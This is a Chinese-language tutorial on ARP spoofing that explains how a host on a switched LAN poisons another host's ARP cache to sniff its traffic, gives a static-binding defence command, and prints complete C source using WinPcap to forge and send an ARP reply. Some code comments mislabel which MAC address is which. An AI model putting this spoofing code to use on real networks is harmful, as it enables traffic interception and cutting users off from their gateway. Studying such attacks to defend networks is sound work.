原始套接字透析之ARP欺骗

　　ARP欺骗的原理可简单的解释如下：假设有三台主机A,B,C位于同一个交换式局域网中，监听者处于主机A，而主机B,C正在通信。现在A希望能嗅探到B->C的数据，于是A就可以伪装成C对B做ARP欺骗--向B发送伪造的ARP应答包，应答包中IP地址为C的IP地址而MAC地址为A的MAC地址。 这个应答包会刷新B的ARP缓存，让B认为A就是C，说详细点，就是让B认为C的IP地址映射到的MAC地址为主机A的MAC地址。这样，B想要发送给C的数据实际上却发送给了A，就达到了嗅探的目的。我们在嗅探到数据后，还必须将此数据转发给C，这样就可以保证B,C的通信不被中断。以上就是基于ARP欺骗的嗅探基本原理，在这种嗅探方法中，嗅探者A实际上是插入到了B->C中，B的数据先发送给了A，然后再由A转发给C，其数据传输关系如下所示：

　　B----->A----->C

　　B<----A<------C

　　Windows系统中缓存了目前的MAC地址与IP地址之间的映射，通过arp -a命令可以获得，如下图：

　　

　　笔者的电脑IP地址为192.168.1.2，通过网关192.168.1.1到达公网。当某人用"网络剪刀手"或"网络执法官"一类的软件给笔者发送伪造的ARP报文后，笔者的Windows会缓存一个错误的网关MAC地址。由于IP包最终要通过MAC地址寻址到192.168.1.1网关进行转发，而本机对192.168.1.1 MAC地址的记录已经是错的了，这样，IP包将无法到达网关，笔者将不能再连接Internet，这就是恼人的"网络剪刀手"的工作原理。如果受到了恶意的ARP欺骗，我们只需要将网关的IP地址与MAC地址在本机静态绑定，运行如下命令：

　　ARP -s 192.168.1.1 00-33-44-57-17-a3

　　再看看此时的ARP缓存：

　　

　　192.168.1.1一项由dynamic变成了static。

　　实现ARP欺骗最重要的是要组建一个ARP报文并发送给要欺骗的目标主机，下面的源代码演示了这个过程：

　　#define EPT_IP 0x0800/* type: IP*/

　　#define EPT_ARP 0x0806/* type: ARP */

　　#define EPT_RARP 0x8035/* type: RARP */

　　#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */

　　#define ARP_REQUEST 0x0001/* ARP request */

　　#define ARP_REPLY 0x0002/* ARP reply */

　　#define Max_Num_Adapter 10

　　#pragma pack(push, 1)

　　typedef struct ehhdr

　　{

　　unsigned chareh_dst[6]; /* destination ethernet addrress */

　　unsigned chareh_src[6]; /* source ethernet addresss */

　　unsigned shorteh_type; /* ethernet pachet type*/

　　} EHHDR, *PEHHDR;

　　typedef struct arphdr

　　{

　　unsigned shortarp_hrd; /* format of hardware address */

　　unsigned shortarp_pro; /* format of protocol address */

　　unsigned chararp_hln; /* length of hardware address */

　　unsigned chararp_pln; /* length of protocol address */

　　unsigned shortarp_op; /* ARP/RARP operation */

　　unsigned chararp_sha[6]; /* sender hardware address */

　　unsigned longarp_spa; /* sender protocol address */

　　unsigned chararp_tha[6]; /* target hardware address */

　　unsigned longarp_tpa; /* target protocol address */

　　} ARPHDR, *PARPHDR;

　　typedef struct arpPacket

　　{

　　EHHDRehhdr;

　　ARPHDRarphdr;

　　} ARPPACKET, *PARPPACKET;

　　#pragma pack(pop)

　　int main(int argc, char *argv[])

　　{

　　static char AdapterList[Max_Num_Adapter][1024];

　　char szPacketBuf[600];

　　char MacAddr[6];

　　LPADAPTERlpAdapter;

　　LPPACKETlpPacket;

　　WCHARAdapterName[2048];

　　WCHAR *temp, *temp1;

　　ARPPACKET ARPPacket;

　　ULONG AdapterLength = 1024;

　　int AdapterNum = 0;

　　int nRetCode, i;

　　//Get The list of Adapter

　　if (PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)

　　{

　　printf("Unable to retrieve the list of the adapters!\n");

　　return 0;

　　}

　　temp = AdapterName;

　　temp1 = AdapterName;

　　i = 0;

　　while ((*temp != '\0') || (*(temp - 1) != '\0'))

　　{

　　if (*temp == '\0')

　　{

　　memcpy(AdapterList[i], temp1, (temp - temp1) *2);

　　temp1 = temp + 1;

　　i++;

　　}

　　temp++;

　　}

　　AdapterNum = i;

　　for (i = 0; i < AdapterNum; i++)

　　wprintf(L "\n%d- %s\n", i + 1, AdapterList[i]);

　　printf("\n");

　　//Default open the 0

　　lpAdapter = (LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[0]);

　　//取第一个网卡

　　if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))

　　{

　　nRetCode = GetLastError();

　　printf("Unable to open the driver, Error Code : %lx\n", nRetCode);

　　return 0;

　　}

　　lpPacket = PacketAllocatePacket();

　　if (lpPacket == NULL)

　　{

　　printf("\nError:failed to allocate the LPPACKET structure.");

　　return 0;

　　}

　　ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

　　if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))

　　{

　　printf("Get Mac address error!\n");

　　}

　　memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址

　　if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))

　　{

　　printf("Get Mac address error!\n");

　　return 0;

　　}

　　memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)

　　ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

　　ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);

　　ARPPacket.arphdr.arp_pro = htons(EPT_IP);

　　ARPPacket.arphdr.arp_hln = 6;

　　ARPPacket.arphdr.arp_pln = 4;

　　ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

　　if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))

　　{

　　printf("Get Mac address error!\n");

　　return 0;

　　}

　　memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址

　　ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址

　　if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))

　　{

　　printf("Get Mac address error!\n");

　　return 0;

　　}

　　memcpy(ARPPacket.arphdr.arp_tha, MacAddr, 6); //目标A的MAC地址

　　ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址

　　memcpy(szPacketBuf, (char*) &ARPPacket, sizeof(ARPPacket));

　　PacketInitPacket(lpPacket, szPacketBuf, 60);

　　if (PacketSetNumWrites(lpAdapter, 2) == FALSE)

　　{

　　printf("warning: Unable to send more than one packet ina single write ! \

　　n ");

　　}

　　if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE)

　　{

　　printf("Error sending the packets!\n"); return 0;

　　}

　　printf("Send ok!\n");

　　// close the adapter and exit

　　PacketFreePacket(lpPacket);

　　PacketCloseAdapter(lpAdapter);

　　return 0;

　　}

　　上述程序中使用了著名的开放项目Winpcap(The Packet Capture and Network Monitoring Library for Windows)中的API，项目网址为：http://www.winpcap.org/。Winpcap是UNIX下的libpcap移植到Windows下的产物，工作于驱动(Driver)层，能以很高的效率进行网络操作。其提供的packet.dll中包含了多个功能强大的函数，我们聊举几例：

　　LPPACKET PacketAllocatePacket(void);

　　如果运行成功，返回一个_PACKET结构的指针，否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数，接收来自驱动的网络数据报。

　　LPADAPTER PacketOpetAdapter(LPTSTR AdapterName);

　　打开一个网络适配器。

　　VOID PacketCloseAdapter(LPADAPTER lpAdapter);

　　关闭参数中提供的网络适配器，释放相关的ADAPTER结构。

　　VOID PacketFreePacket(LPPACKET lpPacket);

　　释放参数提供的_PACKET结构。

　　BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize);

　　返回可以得到的网络适配器列表及描述。

　　BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync);

　　从NPF驱动程序读取网络数据报及统计信息。

　　数据报编码结构： |bpf_hdr|data|Padding|bpf_hdr|data|Padding|

　　BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync);

　　发送一个或多个数据报的副本。

　　我们用Depends工具打开pakcet.dll，如下图：

　　

　　目前，网络剪刀手、网络执法官的软件在底层都用到了Winpcap。本节的例程代码中，看不到关于socket的内容，实际上已经在Winpcap中实现了。Winpcap的源代码可以直接在http://www.winpcap.org/下载。